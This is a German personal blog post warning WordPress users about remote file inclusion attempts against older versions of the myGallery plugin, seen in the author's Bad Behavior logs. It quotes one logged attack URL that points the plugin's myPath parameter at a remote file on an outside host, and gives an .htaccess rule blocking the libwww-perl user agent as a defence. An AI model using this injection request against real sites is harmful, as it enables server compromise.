dyingeyes weblog: das persönliche Weblog von Boris Stumpf aus Frankfurt am Main

Eben gerade habe ich bei Reparaturarbeiten an meinem Bad Behavior (BB) (ja, den Fehler von neulich habe ich selbst durch eine kleine Nachlässig­keit hineingestrickt und soeben korrigiert) in der Daten­tabelle von BB mehrere Versuche entdeckt, über ein unsicheres Plugin Dateien einzuschleusen:

/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.sexery.de/prc.gif?

Das betreffende Plugin ist ein Galerie-Plugin für WordPress namens myGallery, es ist schon etwas älter und die Sicherheits­lücke betrifft zudem ältere Versionen (wohl vor 1.4b5), aber womöglich setzt es einer meiner Leser noch ein. Es scheint, dass da irgendein krimineller Idiot versucht, ältere und inzwischen womöglich vernach­lässigte Blogs in seinem Sinne zu »bearbeiten«.

Die Einschleusungsversuche kommen über wechselnde IP-Adressen, der User-Agent ist dagegen immer »libwww-perl/5.810«, eine freie Perl-Bibliothek, die – auch mit allen anderen Versions­nummern – zumindest mir bisher ausschließlich in Form von Hackversuchen, Spamversuchen und unin­teressanten Suchrobotern begegnet ist. Weswegen es gut ist, dass Bad Behavior Zugriffe dieser Agents anhand seiner ›Blacklist‹ (blacklist.inc.php) unabhängig von der anhängenden Versionsnummer blockiert.

Das kriminelle Skript geht übrigens nach dem Gießkannen-Prinzip vor, es versucht einfach flächen­deckend über das Anhängen des o.a. Plugin-Pfades, aber mit wechselnden anzu­hängenden Dateien, in Blogs einzudringen. Ich hatte myGallery nie im Einsatz.

Wer Bad Behavior nicht einsetzt, kann die User-Agents »libwww-perl« in seiner .htaccess generell blockieren:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl.*$
RewriteRule ^.* – [F]

Anmerkung: die ersten beiden Zeilen, das Initialisieren der Rewrite-Engine, kann man sich eventuell sparen, wenn diese schon an früherer Stelle in der .htaccess mit genau diesen Zeilen gestartet wurde. Was tatsächlich der Fall ist, wenn man die »sprechenden« Artikel-URLs eingeschaltet hat.

Dieser Inhalt (Textbeitrag und Fotos) ist unter einer Creative-Commons-Lizenz BY-NC-ND lizenziert.

Kategorie(n): Blogging, Spam und Scam, Wordpress
Tags: Bad Behavior, File Injection, Sicherheitsluecke, Wordpress-Plugins

Kommentare und Pings geschlossen.

Kommentar-Feed (RSS) zu diesem Artikel